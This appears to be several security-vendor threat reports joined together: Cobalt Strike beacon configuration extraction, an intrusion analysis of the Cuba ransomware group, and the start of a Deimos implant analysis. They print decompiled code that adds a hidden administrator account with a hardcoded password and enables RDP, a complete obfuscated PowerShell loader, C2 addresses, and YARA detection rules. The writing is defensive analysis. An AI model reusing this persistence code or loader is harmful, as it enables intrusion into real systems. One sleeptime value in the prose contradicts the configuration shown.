
In this post, we'll walk through manually analyzing a Cobalt Strike C2 configuration from a binary beacon payload using the excellent Cobalt Strike Configuration Extractor (CSCE). We'll also cover enabling some newer features of the Elastic Stack that will allow you to do this at scale across all your monitored endpoints, by extracting the beacons from memory.

The team at Blackberry has a tremendous handbook called “Finding Beacons in the Dark” (registration required) that dives extensively into Cobalt Strike beacon configurations. We’ll discuss a few fields in the configurations here, but if you’re interested in learning about how beacons function, we strongly recommend checking that resource out.

Cobalt Strike Configuration Extractor

The Cobalt Strike Configuration Extractor (CSCE) by Stroz Friedberg is a "python library and set of scripts to extract and parse configurations from Cobalt Strike beacons".

To use the CSCE, we'll create a Python virtual environment, activate it, and install the CSCE Python package.

Setting up the Cobalt Strike Configuration Extractor

$ python3 -m venv csce

$ source csce/bin/activate

(csce) $ pip3 install libcsce

...truncated...
Collecting libcsce
  Using cached libcsce-0.1.0-py3-none-any.whl (24 kB)
Collecting pefile>=2019.4.18
...truncated...

Next, we can run the CSCE on the beacon payload we extracted from memory to see if there's any interesting information stored we can collect (we'll add the --pretty flag to make the output easier to read as a JSON document).

Viewing the atomic indicators of the CS beacon configuration

(csce) $ csce --pretty beacon.exe

{
  "beacontype": [
    "HTTPS"
  ],
  "sleeptime": 45000,
  "jitter": 37,
  "maxgetsize": 1403644,
  "spawnto": "GNEtW6h/g4dQzm0dOkL5NA==",
  "license_id": 334850267,
  "cfg_caution": false,
  "kill_date": "2021-12-24",
  "server": {
    "hostname": "clevelandclinic[.]cloud",
    "port": 443,
    "publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4G...
...truncated...

Immediately, we can see that the beacon uses HTTPS to communicate and that the domain is clevelandclinic[.]cloud. This gives us an atomic indicator that we can do some analysis on. Looking at the Malleable Command and Control documentation, we can get a description of the configuration variables.

As an example, we can see that the sleeptime is 450000 milliseconds, which changes the default beacon check in from every 60-seconds to 450-seconds, or 7 ½ minutes. Additionally, we see a jitter of 37 meaning that there is a random jitter of 37% of 450000 milliseconds (166,500 milliseconds), so the beacon check-in could be between 283,000 and 450,000 milliseconds (4.7 - 7.5 minutes).

Additionally, the publickey field is used by the Cobalt Strike Team Server to encrypt communications between the server and the beacon. This is different from normal TLS certificates used when accessing the C2 domain with a browser or data-transfer libraries, like cURL. This field is of note because the Team Server uses the same publickey for each beacon, so this field is valuable in clustering beacons with their perspective Team Server because threat actors often use the same Team Server for multiple campaigns, so this data from the configuration can be used to link threat actors to multiple campaigns and infrastructure.

Continuing to look at the configuration output, we can see another interesting section around the process-inject nested field, stub:

Viewing the process-inject.stub field

(csce) $ csce --pretty beacon.exe

...truncated...
  "process-inject": {
    "allocator": "NtMapViewOfSection",
    "execute": [
      "CreateThread 'ntdll!RtlUserThreadStart'",
      "CreateThread",
      "NtQueueApcThread-s",
      "CreateRemoteThread",
      "RtlCreateUserThread"
    ],
    "min_alloc": 17500,
    "startrwx": false,
    "stub": "IiuPJ9vfuo3dVZ7son6mSA==",
    "transform-x86": [
      "prepend '\\x90\\x90'"
    ],
...

The stub field contains the Base64 encoded MD5 file hash of the Cobalt Strike Java archive. To convert this, we can again use CyberChef, this time add the "From Base64" and "To Hex" recipes, ensure you change the "Delimiter" to "None" in the "To Hex" recipe.

Now that we have the MD5 value of the Java archive (222b8f27dbdfba8ddd559eeca27ea648), we can check that against online databases like VirusTotal to get additional information, specifically, the SHA256 hash (7af9c759ac78da920395debb443b9007fdf51fa66a48f0fbdaafb30b00a8a858).

Finally, we can verify the SHA256 hash with CobaltStrike to identify the version of the Java archive by going to https://verify.cobaltstrike.com and searching for the hash.

Now we know that this beacon was created using a licensed version of Cobalt Strike 4.4.

Another field from the configuration that is helpful in clustering activity is the license_id field.

Viewing Cobalt Strike watermark

...truncated
  "spawnto": "GNEtW6h/g4dQzm0dOkL5NA==",
  "license_id": 334850267,
  "cfg_caution": false,
...truncated...

This is commonly referred to as the Watermark and is a 9-digit value that is unique per license. While this value can be modified, it can still be used in conjunction with the process-inject.stub and publickey fields (discussed above) to cluster infrastructure and activity groups.

These are just a few fields that can be used to identify and cluster activities using configurations extracted from the Cobalt Strike beacon. If you're interested in a very in-depth analysis of the configuration, we recommend you check out the Finding Beacons in the Dark Cobalt Strike handbook by the team at Blackberry.

Putting Analysis to Action

To test out our analyst playbook for collecting Cobalt Strike beacon payloads, their configurations, and metadata contained within; we can apply those to more data to identify clusters of activity.

In the above illustration, we can cluster threat actors based on their shared uses of the beacon payload public key, which as we described above, is unique per Team Server. This would allow us to group multiple beacon payload hashes, infrastructure, and campaigns to a single Threat Actor.

As always, using the atomic indicators extracted from the beacon payload configurations (clevelandclinic[.]cloud in our example) allow you to identify additional shared infrastructure, target verticals, and threat actor capabilities.

This time at full speed

All of the steps that we've highlighted in this release, as well as the previous release, can be automated and written into Elasticsearch using the Cobalt Strike Beacon Extraction project.

Summary

In this post, we highlighted new features in the Elastic Stack that can be used to collect Cobalt Strike Malleable C2 beacon payloads. Additionally, we covered the processes to build Fleet policies to extract beacon payloads from memory and their configurations.

These Fleet policies and processes enable security analysts to collect Cobalt Strike beacon payloads and their configurations to identify threat actor controlled infrastructure and cluster activity.

Artifacts

Observable | Type | Note -------------------------------------------------------------------|-------------|------------------------------------------ 697fddfc5195828777622236f2b133c0a24a6d0dc539ae7da41798c4456a3f89 | SHA256 | Cobalt Strike Malleable C2 beacon payload 7475a6c08fa90e7af36fd7aa76be6e06b9e887bc0a6501914688a87a43ac7ac4 | SHA256 | Cobalt Strike Malleable C2 beacon payload f9b38c422a89d73ebdab7c142c8920690ee3a746fc4eea9175d745183c946fc5 | SHA256 | Cobalt Strike Malleable C2 beacon payload clevelandclinic[.]cloud | domain-name | Cobalt Strike Malleable C2 domain 104[.]197[.]142[.]19 | ipv4-addr | Cobalt Strike Malleable C2 IP address 192[.]64[.]119[.]19 | ipv4-addr | Cobalt Strike Malleable C2 IP address

Artifacts

Artifacts are also available for download in both ECS and STIX format in a combined zip bundle.

• The Elastic Security Team is tracking an organized and financially-motivated ransomware and extortion group called Cuba Ransomware
• Cuba Ransomware targets small and medium-sized retailers, exfiltrating sensitive information, and then deploying ransomware
• Cuba Ransomware uses a “name and shame” approach by releasing exfiltrated data as an additional method to extort ransomware cryptocurrency payments
• We are releasing a YARA signature and providing hunting queries that detect this ransomware family

For information on the CUBA ransomware campaign and associated malware analysis, check out our blog posts detailing this:

• CUBA Malware Analysis
• BUGHATCH Malware Analysis

Preamble

The Elastic Security Team is tracking a threat group that is leveraging the Cuba Ransomware, combined with data exfiltration and extortion, to target North American and European retailers and manufacturers for cryptocurrency payments. The threat group has followed an effective, but repetitive cluster of TTPs for initial access, lateral movement, exfiltration, ransomware deployment, and extortion.

Initial Access

The incidents that we have observed included hosts that were infected with a litany of initial access opportunities. These included everything from potentially unwanted programs (PUP) to remotely executable vulnerabilities. Because of this, we cannot verify what the initial access vehicle was, but there are two theories:

• An access broker
• A remotely exploitable vulnerability

While there are many ways to gain access into a targeted network, we’ll explore the most likely hypotheses for how the CUBA threat group gained access.

Access Broker

As an introduction, an access broker is a threat group who, as they move through the kill chain, has their “actions on objective” as collecting and maintaining remote access into a targeted network so that access can be sold to other threat groups who have other goals.

This is a common tactic for ransomware campaigns where the goal is to rapidly encrypt and extort victims into paying to recover data. When using ransomware kits (ransomware-as-a-service), the threat actors are often focused on moving rapidly across many victims and not on the reconnaissance required to identify and exploit victims to deploy their ransomware.

Ransomware-as-a-service includes a lot of overhead such as negotiating with victims, troubleshooting unlock procedures, and managing the crypto infrastructure. It is often easier to purchase previously exploited systems that allow the ransomware campaign owners to be “shell wranglers” instead of needing to gain and maintain access to a large number of environments.

The theory that an initial access broker may have been used began percolating because we observed access attempts using an Exchange vulnerability in multiple contested networks; however, all networks did not receive the CUBA ransomware. Additionally, we observed initial access attempts in January but did not observe CUBA ransomware until March which would align with an access broker gaining and maintaining persistence while shopping for a buyer.

In the environments where the CUBA ransomware was not deployed, the incident response was rapid, however incomplete, and access was regained. Once the persistence was observed, the adversary was successfully evicted and CUBA was never deployed.

Remotely Exploitable Vulnerability

We observed the execution of the ProxyLogon exploit. <u>Previous research</u> has observed this threat group leveraging <u>ProxyLogon</u> and <u>ProxyShell</u> vulnerabilities to gain initial access.

c:\windows\system32\inetsrv\w3wp.exe, -ap, MSExchangeOWAAppPool, -v, v4.0, -c, C:\Program Files\Microsoft\Exchange Server\V15\bin\GenericAppPoolConfigWithGCServerEnabledFalse.config, -a, \\.\pipe\[redacted], -h, C:\inetpub\temp\apppools\MSExchangeOWAAppPool\MSExchangeOWAAppPool.config, -w, (empty), -m, 0

In each case REF9019 activity was traced back to Windows servers running Microsoft’s Exchange Server. Although we do not have information on the patch levels of those machines at the time of the execution or the exact vulnerabilities exploited, there is corroborating evidence regarding the exploitation of publicly accessible Exchange servers at this time generally, as well as specific reporting tied to the CUBA threat actor exploiting them.

This information combined with the lack of activity preceding this event, as well as the order of tactics after, indicates that in both cases exploitation of publicly accessible Exchange servers initiated the compromise.

While analyzing certain alerts throughout these events, we used data present in the process.Ext.memory_region.bytes_compressed field, and the technique we described in our Cobalt Strike series, to extract the memory-resident binaries and shellcode.

Establish Foothold

afk.ttf

This exploitation attempt preceded one primary infection by about 6 weeks. It appears a tactics shift occurred in the intervening period.

The file afk.ttf has been identified as a variant of “ZenPak” by some vendors on VirusTotal. ZenPak is categorized as a generic Trojan which has been associated with the Bazar malware family. The BazarBackdoor has a long history and was recently sighted in ransomware-as-a-service campaigns.

Initially, afk.ttf was identified through a malicious_file alert when it was created by the IIS worker process (w3wp.exe) handling the Exchange Service.

The afk.ttf file is a 64-bit Windows DLL that has a single export, bkfkals. Next, afk.ttf is loaded by rundll32.exe (spawned by w3wp.exe) which unpacks shellcode in memory and executes it. The unpacked shellcode is a Meterpreter payload from the offensive security framework, Metasploit.

Following this, afk.ttf uses an injection technique that allows the injected code to run before the entry point of the main thread of the process. This is known as Early Bird injection and is used in this situation to inject the shellcode in a suspended process for nslookup 8.8.8.8. Once the shellcode was deobfuscated for execution, the Elastic Agent identified and prevented the Metasploit payload.

Using the process.Ext.memory_region.bytes_compressed field we were able to recover the memory snapshot from these two alerts and verified that the shellcode was Meterpreter, which is part of the Metasploit framework. Additionally, we were able to extract the C2 IP (159.203.70[.]39) and URI (/Time/cb6zubbpio...truncated...).

Ultimately this foothold was either never established, or abandoned because there is no further activity from this endpoint until it is re-exploited about 6 weeks later.

add2.exe

The primary execution chain of both infections started with a malicious_file alert that fired upon the creation and execution of add2.exe by the IIS worker process handling the Exchange service. This was the same technique observed previously with the afk.ttf attempt. Interestingly, these executions happened within about 15 minutes of each other on victims in different countries and different industry verticals.

The Elastic Malware Analysis and Reverse Engineering (MARE) team was able to <u>find this file in VirusTotal</u> and pull it down for binary analysis.

BOOL sub_4013B0()
{
  int v1;
  int v2;
  WCHAR REMOTE_DESKTOP_USERS_groups_list[256];
  WCHAR ADMINS_groups_list[256];
  char password[44];
  wchar_t username[9];
  v2 = enum_local_groups(DOMAIN_ALIAS_RID_ADMINS, ADMINS_groups_list);
  v1 = enum_local_groups(DOMAIN_ALIAS_RID_REMOTE_DESKTOP_USERS, REMOTE_DESKTOP_USERS_groups_list);
  if ( v2 || v1 )
  {
    wcscpy(username, L"Mysql");
    qmemcpy(password, L"KJaoifhLOaiwdhadx1@!", 0x2Au);
    if ( Add_user((int)username, (int)password) )
    {
      if ( v2 )
        add_user_groups(ADMINS_groups_list, (int)username);
      if ( v1 )
        add_user_groups(REMOTE_DESKTOP_USERS_groups_list, (int)username);
      hide_accountName(username); SpecialAccounts\\UserList regkey
    }
  }
  return enable_RDP();
}

MARE determined that this executable performs several functions:

Enumerates local administrator and RDP groups.

 WCHAR REMOTE_DESKTOP_USERS_groups_list[256];
  WCHAR ADMINS_groups_list[256];
  char password[44];
  wchar_t username[9];
  v2 = enum_local_groups(DOMAIN_ALIAS_RID_ADMINS, ADMINS_groups_list);
  v1 = enum_local_groups(DOMAIN_ALIAS_RID_REMOTE_DESKTOP_USERS, REMOTE_DESKTOP_USERS_groups_list);
  if ( v2 || v1 )

Creates a new user Mysql, sets the password to KJaoifhLOaiwdhadx1@!, and sets no expiration date (0x2Au).

  wcscpy(username, L"Mysql");
    qmemcpy(password, L"KJaoifhLOaiwdhadx1@!", 0x2Au);
    if ( Add_user((int)username, (int)password) )

Adds this user to the previously enumerated local administrative and RDP groups.

 if ( v2 )
        add_user_groups(ADMINS_groups_list, (int)username);
      if ( v1 )
        add_user_groups(REMOTE_DESKTOP_USERS_groups_list, (int)username);

Sets the SpecialAccounts\UserList regkey for this user to hide the user from login screens and the control panel.

 hide_accountName(username); regkey

Enables RDP by setting the fDenyTSConnections value to false in the Registry.

return enable_RDP();

In total, add2.exe establishes local persistence via a hidden user and opening of a remote access service. This enables the REF9019 actor to connect back to this machine in case of discovery, patching of the vulnerability, or an incomplete eviction.

Additionally, VirusTotal indicated on the graph page that this file has been hosted at http://208.76.253[.]84.

Of particular note, within the strings of add2.exe, we identified a unique program database file (PDB) named AddUser.pdb. PDB files are used to map elements of source code to the compiled program.

Searching in VirusTotal for the HEX value of F:\Source\WorkNew17\ (​​content:{463a5c536f757263655c576f726b4e65773137}), we identified another file named ad.exe which shared the same folder structure, and included another PDB file, CmdDLL.pdb.

VirusTotal shows on the graph page that this file has been hosted at `http://108.170.31[.]115/add.dll``. While we did not observe add.dll, we believe they are related and have included the name, hash, and IP in our Observables table as the IP address (108.170.31[.]115) was also reported distributing ra.exe (see the NetSupport section below).

Using this same search criteria, we were able to locate three other files with the same PDB debugging artifacts.<u>SystemBC</u> is a socks5 backdoor with the ability to communicate over TOR.

Remote Access Tools

After establishing a beachhead, REF9019 dropped tooling to manage the post-exploitation phase of the attacks. Notably all tools were not present in each attack. It’s unclear if the decision to use one tool over another was merely driven by preference of individual operators, or if there was an operational factor that contributed to the decision.

SystemBC

<u>SystemBC</u> is a socks5 backdoor with the ability to communicate over TOR.

It was identified via malware_signature alerts that ran after SystemBC was injected into a svchost.exe process.

Post processing of the compressed_bytes of the shellcode_thread alert exposed network indicators our sample utilized, including its command and control server (104.217.8[.]100:5050).

Check out AhnLab’s ASEC blog for detailed coverage of SystemBC’s features.

Let’s look at the data for the SystemBC binary that was collected from the process.Ext.memory_region.bytes_compressed field.

If we run this through the strings command, it becomes a bit more readable. As mentioned above, the work done by the team at ASEC does a tremendous job of describing the SystemBC remote access tool, so we’ll focus on the atomic indicators that we observed.

…truncated…
BEGINDATA
HOST1:104.217.8[.]100
HOST2:104.217.8[.]100
PORT1:5050
…truncated…
193.23.244[.]244
86.59.21[.]38
199.58.81[.]140
204.13.164[.]118
194.109.206[.]212
131.188.40[.]189
154.35.175[.]225
171.25.193[.]9
128.31.0[.]34
128.31.0[.]39
/tor/status-vote/current/consensus
/tor/server/fp/
…truncated…

The values of HOST1 and HOST2 are <u>well-documented</u><u> infrastructure</u> for the SystemBC tool. The list of 10 IP addresses is Tor <u>directory authorities</u>. One IP address is selected from the list to get the <u>consensus data</u> for the Tor network. Then it will start Tor communications based on the settings it received (as previously reported by ASEC).

While we were not able to identify if Tor traffic was executed, this could have been a clandestine way to exfiltrate sensitive data.

GoToAssist

<u>GoToAssist</u> is a remote desktop support application with some legitimate usage, but also known for its use in tech support scams.In this incident, it was used to download a malicious DLL to the newly created user’s downloads directory (C:\Users\Mysql\Downloads\94-79.dll). We were unable to collect this file and have not observed it later in the incident, however previous reporting has indicated use in CUBA campaigns of DLLs with similar naming conventions.

NetSupport

NetSupport Manager is another client-server remote desktop management application. In this incident, NetSupport was named ra.exe and was written and executed from the C:\programdata\ directory by the previously exploited IIS worker process (w3wp.exe). ra.exe has been distributed by a previously identified IP address (see add2.exe section above).

Our sample is the <u>NetSupportManager RAT</u> as indicated on <u>VirusTotal</u> and corroborates <u>prior reporting</u> of its usage with the CUBA Ransomware group.When analyzing the process data that we extracted from memory we can see that

Cobalt Strike

Cobalt Strike was used in these intrusions, we confirmed this while reviewing the value of the <u>Target.process.thread.Ext.start_address_bytes</u> (a few (typically 32) raw opcode bytes at the thread start address, hex-encoded). Upon doing this, we observed bytes commonly observed in Cobalt Strike payloads.

When analyzing the process data that we extracted from memory we can see that dhl.jpg (from mvnetworking[.]com) and temp.png (from bluetechsupply[.]com) are being used for command and control. This is corroborated by <u>previous </u><u>research</u>.

Looking at the domains in Shodan ([<u>1</u>][<u>2</u>]), we can see that they are both categorized as Cobalt Strike beacon C2 infrastructure.

Both sites are hosted by a cloud provider, Hivelocity, Inc. We have requested the domains be taken down.

BUGHATCH

BUGHATCH is the name given to a Cuba Ransomware associated downloader by Mandiant in their blog on <u>UNC2596</u>. We detail the observed execution chain and indicators below.

BUGHATCH was launched via PowerShell script stagers in both cases. One execution was following the dropping of a malicious DLL to the Mysql user’s downloads folder (C:\Users\Mysql\Downloads\14931s.dll). Download URI for the next stage was found in the Target.process.Ext.memory_region.strings (http://64.235.39[.]82/Agent32.bin).

In the above example, we observed agsyst82.ps1 downloading Agent32.bin from 64.235.39[.]82, but were unable to collect the PowerShell script. However, while performing open-source research, we identified a PowerShell script on ANY.RUN that performed network connections to the same IP and URL (http://64.235.39[.]82/Agent32.bin). The script is named komar.ps1 in ANY.RUN’s analysis. We are associating these two PowerShell scripts and network activity together.

The other PowerShell script was called by a malicious file, cps.exe. This PowerShell script is called komar2.ps1 and downloads Agent32.bin from 38.108.119[.]121.

komar2.ps1 next attempts to inject itself into svchost.exe from C:\Windows\Sysnative\svchost.exe.

For context, the C:\Windows\Sysnative path is a legitimate Windows directory and used to allow 32-bit applications to access the System32 folder on a 64-bit version of Windows. This path has also been observed as a SpawnTo parameter in Cobalt Strike process injection configurations.

This new injected process again executes komar2.ps1 and includes a new PDB entry of F:\Source\Mosquito\Agent\x64\Release\Agent.pdb. As we discussed above, “komar” means “mosquito” in Polish and is a good indicator as a way to identify other related entities; we see “Mosquito” in the path of the PDB. While a weak association by itself, the PDB in this sample is located in F:\Source, which is the same location that we’d observed with F:\Source\WorkNew## above for add2.exe. By themselves, they are not a solid reference point between the two samples, but when compared together, they can be categorized as “interesting”.

Based on analysis of the Agent32.bin file, we believe that this is the BUGHATCH malware. BUGHATCH has been observed being used as a downloader in CUBA ransomware incidents. This aligns to how we observed Agent32.bin. BUGHATCH has been <u>covered in the UNC2596 blog</u> by the team at Mandiant.

Credential Harvesting, Internal Reconnaissance, and Lateral Movement

Credential harvesting was observed through process injection into the GoToAssistUnattendedUi.exe binaries. These appear to be the legitimate files for the Go To Assist suite. The credential harvesting was accomplished by using Meterpreter and Mimikatz.

Meterpreter

As we observed in the initial infection several months prior, Meterpreter was observed being used to collect the SAM database using the <u>hashdump module</u>. As previously, this was observed in the Target.process.Ext.memory_region.strings fields.

Mimikatz

Similarly to the Meterpreter tool markings, we also observed <u>Mimikatz</u>. Mimikatz is an offensive security tool used to collect and inject passwords from compromised systems. It uses the <u>SEKURLSA::LogonPasswords</u> module to list all available provider credentials, and this was observed in the Target.process.Ext.memory_region.strings fields.

Zerologon Exploit

Next the threat actors attempted to use a file called zero.exe, which is used to exploit the <u>Zerologon vulnerability</u> to escalate privileges. This file is referenced in <u>previous reporting</u> and is executed on a vulnerable domain controller to dump the NTLM hash for the Administrator. This is a common tactic for lateral movement and to deploy additional implants into the environment, such as Cobalt Strike.

PsExec

<u>PsExec</u> is a legitimate utility, part of the SysInternals suite of tools, used to interactively launch processes on remote systems. PsExec is a common tool for remote administration, both benign and malicious.

While we cannot validate how specifically PsExec was used because there was not an SMB parser on the infected hosts, we can see that PsExec was used to move files between the infected hosts. We cannot confirm that this was not normal administration by the local IT staff, but the only activity observed was between infected hosts and was within the time window of other confirmed malicious activity.

Using LOLBAS

<u>Living off the land binaries, scripts, and libraries (LOLBAS)</u> is a commonly leveraged method to use native and benign tools for malicious purposes. This reduces attacker tools that need to be moved into the environment as well as to appear more like legitimate processes running in a targeted environment.

In one intrusion we observed PsExec being used to remotely copy files (see the PsExec section), however in another environment, we observed similar activity to move files using cmd.exe to move files from one host to another. We were unable to collect the files that were being moved for analysis, but they were a DLL and a Batch file named d478.dll and d478.bat, and the atomic indicators are stored in the Observations table.

Data Exfiltration

The CUBA group belongs to a variant of ransomware operators in that they use extortion as a mechanism to coerce payments from their victims.

In these situations, once initial access and a foothold is achieved, threat actors will identify potentially sensitive data and exfiltrate it off of the environment to use for threats of “name and shame”.

The CUBA group runs a website on the dark web where they release data from victims that do not pay. CUBA releases some data for free, and for others that are more lucrative, have a payment option.

There are multiple ways that the victim data could have been exfiltrated for extortion, the presence of BUGHATCH, Meterpreter, and Cobalt Strike all have data movement capabilities.

Defense Evasion and Actions on the Objective

DefenderControl.exe

To prevent the detection of their malware, the threat actors used <u>Defender Control</u> as a way to disable Microsoft Defender, the native antivirus built into all Windows systems since Vista.

To ensure that Defender Control continued to run, the threat actor used svchost.exe to create a scheduled task.

CUBA Ransomware

We detail the observed execution chain and indicators above, but please see Elastic MARE’s detailed reverse engineering of this sample here.

Diamond Model

Elastic Security utilizes the <u>Diamond Model</u> to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.

Observed Adversary Tactics and Techniques

Tactics

Using the MITRE ATT&CK® framework, tactics represent the why of a technique or sub technique. It is the adversary’s tactical goal: the reason for performing an action.

• Initial access
• Persistence
• Privilege escalation
• Defense evasion
• Credential access
• Discovery
• Lateral movement
• Command & Control
• Exfiltration
• Impact

It should be noted that we did not observe the Collection tactic, but based on the evidence of Exfiltration and Impact, this would have been completed.

Techniques / Sub Techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.

As noted throughout this research, this covered multiple victims over a large period of time. The CUBA intrusion set has been reported using different techniques and sub techniques, but these are our specific observations.

Observed techniques/sub techniques.

• Exploit Public-Facing Application
• Command and Scripting Interpreter - PowerShell, Windows Command Shell
• Scheduled Task/Job - Scheduled Task
• Boot or Logon Autostart Execution - Registry Run Keys/Startup Folder
• Create Account - Local Account
• OS Credential Dumping - LSA Secrets
• Data Encrypted for Impact
• Hide Artifact - Hidden Window
• Masquerading - Match Legitimate Name or Location
• Obfuscated Files or Information
• Reflective Code Loading

Detection

YARA

Elastic Security has created YARA rules to identify this BUGHATCH and CUBA ransomware activity.

rule Windows_Trojan_Bughatch {
    meta:
        author = "Elastic Security"
        creation_date = "2022-05-09"
        last_modified = "2022-05-09"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "Bughatch"
        threat_name = "Windows.Trojan.Bughatch"
        reference_sample = "b495456a2239f3ba48e43ef295d6c00066473d6a7991051e1705a48746e8051f"
    strings:
        $a1 = { 8B 45 ?? 33 D2 B9 A7 00 00 00 F7 F1 85 D2 75 ?? B8 01 00 00 00 EB 33 C0 }
        $a2 = { 8B 45 ?? 0F B7 48 04 81 F9 64 86 00 00 75 3B 8B 55 ?? 0F B7 42 16 25 00 20 00 00 ?? ?? B8 06 00 00 00 EB ?? }
        $b1 = { 69 4D 10 FD 43 03 00 81 C1 C3 9E 26 00 89 4D 10 8B 55 FC 8B 45 F8 0F B7 0C 50 8B 55 10 C1 EA 10 81 E2 FF FF 00 00 33 CA 8B 45 FC 8B 55 F8 66 89 0C 42 }
        $c1 = "-windowstyle hidden -executionpolicy bypass -file"
        $c2 = "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShell.exe"
        $c3 = "ReflectiveLoader"
        $c4 = "\\Sysnative\\"
        $c5 = "TEMP%u.CMD"
        $c6 = "TEMP%u.PS1"
        $c7 = "\\TEMP%d.%s"
        $c8 = "NtSetContextThread"
        $c9 = "NtResumeThread"
    condition:
        ($a1 or $a2 or $b1) or 6 of ($c*)
}

rule Windows_Ransomware_Cuba {
    meta:
        os = "Windows"
        arch = "x86"
        category_type = "Ransomware"
        family = "Cuba"
        threat_name = "Windows.Ransomware.Cuba"
        Reference_sample =
"33352a38454cfc247bc7465bf177f5f97d7fd0bd220103d4422c8ec45b4d3d0e"

    strings:
       $a1 = { 45 EC 8B F9 8B 45 14 89 45 F0 8D 45 E4 50 8D 45 F8 66 0F 13 }
       $a2 = { 8B 06 81 38 46 49 44 45 75 ?? 81 78 04 4C 2E 43 41 74 }
      $b1 = "We also inform that your databases, ftp server and file server were downloaded by us to our     servers." ascii fullword
      $b2 = "Good day. All your files are encrypted. For decryption contact us." ascii fullword
       $b3 = ".cuba" wide fullword

    condition:
        any of ($a*) or all of ($b*)
}

Defensive Recommendations

• Enable Elastic Security Memory and Ransomware protections

• Review and ensure that you have deployed the latest Microsoft Security Updates

• Maintain backups of your critical systems to aid in quick recovery

• Attack surface reduction

• Network segmentation

Observations

Atomic indicators observed in our investigation.

| | |

• A remote access tool is actively being developed in campaigns beyond the initially reported Jupyter Infostealer, SolarMarker, and Yellow Cockatoo campaigns
• The malware employs multiple layers of complex obfuscation and encryption techniques
• The malware has incorporated convincing lure files and digitally signed installation executables
• The malware is part of intrusion sets that are used to establish an initial foothold and maintain persistence into contested environments
• A successful takedown was completed by the Elastic Security team for the observed C2 infrastructure

The Deimos implant is a new, complex form of malware first reported in 2020. This remote access tool is under active development, with the aim of evading detection by using multiple layers of complex obfuscation and encryption techniques.

These advanced defensive countermeasures, which also include convincing lure files and digitally signed installation executables, can frustrate identification and analysis. However, the Elastic Security team recently completed a successful takedown of the observed command and control (C2) infrastructure, allowing us to provide detection rules and hunting techniques to aid in identifying this powerful implant.

This post details the tactics, techniques, and procedures, or TTPs, of the Deimos implant. Our goal is to help security practitioners leverage the Elastic Stack to collect and analyze malware and intrusion data by revealing information about how Deimos works that its creators have attempted to obscure for defensive purposes.

Overview

The Elastic Intelligence & Analytics team tracks a new strain of the Deimos initial access and persistence implant previously associated with the Jupyter Infostealer malware (tracked elsewhere as Yellow Cockatoo, and SolarMarker). This implant has demonstrated a maturation of obfuscation techniques as a result of published research. This indicates that the activity group is actively modifying its codebase to evade detective countermeasures.

The sample we observed was not leveraged as an information stealer. It is an implant that provides initial access, persistence, and C2 functions. This makes the implant powerful in that it can be used to accomplish any tasks that require remote access. It is likely that these intrusions are the beginning of a concentrated campaign against the victims or will be sold off in bulk for other campaigns unassociated with the access collection.

The analysis will leverage David Bianco's Pyramid of Pain analytical model to describe the value of atomic indicators, artifacts, tool-markings, and TTPs to the malware authors and how uncovering them can impact the efficiency of the intrusion sets leveraging this implant. Additionally, we are providing some host-based hunting techniques and detection rules that can be leveraged to identify this implant and others that share similar artifacts and TTPs.

Details

On August 31, 2021, Elastic observed process injection telemetry that shared techniques with the Jupyter Infostealer as reported by Morphisec, Binary Defense, and security researcher Squibydoo [1] [2] [3] [4] [5]. As we began analysis and compared the samples we observed to prior research, we identified a change in the way obfuscation was implemented. This change may be the result of several factors, one of which is an attempt by the adversary to bypass or otherwise evade existing defenses or malware analysis.

Note: As previous versions of this malware have been thoroughly documented, we will focus on newly observed capabilities and functionality.

During dynamic analysis of the malware, we observed behavior similar to that which had been reported elsewhere - namely obfuscation using a litany of runtime-created variables (variables that are unique to each execution), directories, an XOR cipher, and Base64 encoded commands. Below, is an example of the new obfuscation tactics employed by the malware author to hinder analysis. We'll discuss this in detail as we unpack the malware's execution.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$650326ac2b1100c4508b8a700b658ad7='C:\Users\user1\d2e227be5d58955a8d12db18fca5d787\a5fb52fc397f782c691961d23cf5e785\4284a9859ab2184b017070368b4a73cd\89555a8780abdb39d3f1761918c40505\83e4d9dd7a7735a516696a49efcc2269\d1c086bb3efeb05d8098a20b80fc3c1a\650326ac2b1100c4508b8a700b658ad7';$1e3dadee7a4b45213f674cb23b07d4b0='hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX';$d6ffa847bb31b563e9b7b08aad22d447=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7;for($i=0;$i -lt $d6ffa847bb31b563e9b7b08aad22d447.count;)\{for($j=0;$j -lt $1e3dadee7a4b45213f674cb23b07d4b0.length;$j++)\{$d6ffa847bb31b563e9b7b08aad22d447[$i]=$d6ffa847bb31b563e9b7b08aad22d447[$i] -bxor $1e3dadee7a4b45213f674cb23b07d4b0[$j];$i++;if($i -ge $d6ffa847bb31b563e9b7b08aad22d447.count)\{$j=$1e3dadee7a4b45213f674cb23b07d4b0.length\}\}\};$d6ffa847bb31b563e9b7b08aad22d447=[System.Text.Encoding]::UTF8.GetString($d6ffa847bb31b563e9b7b08aad22d447);iex $d6ffa847bb31b563e9b7b08aad22d447;"

Figure 1: PowerShell executed by malware installer

The sample we observed created a Base64-encoded file nested several subdirectories deep in the %USERPROFILE% directory and referenced this file using a runtime variable in the PowerShell script ($650326ac2b1100c4508b8a700b658ad7 in our sample). Once this encoded file was read by PowerShell, it is deleted as shown in Figure 2. Other published research observed the Base64 string within the PowerShell command which made it visible during execution. This shows an adaptation of the obfuscation techniques leveraged by the malware authors in response to reports published by security researchers.

FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7

Figure 2: Base64 encoded file read and then deleted

Additionally, there was the inclusion of another variable ($1e3dadee7a4b45213f674cb23b07d4b0 in our example) with a value of hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX. By deobfuscating the PowerShell command, we determined that this value was the XOR key used to decrypt the value of the 650326ac2b1100c4508b8a700b658ad7 file. Now that we had the location of the Base64 encoded file and the ability to decrypt it, we needed to prevent it from being deleted.

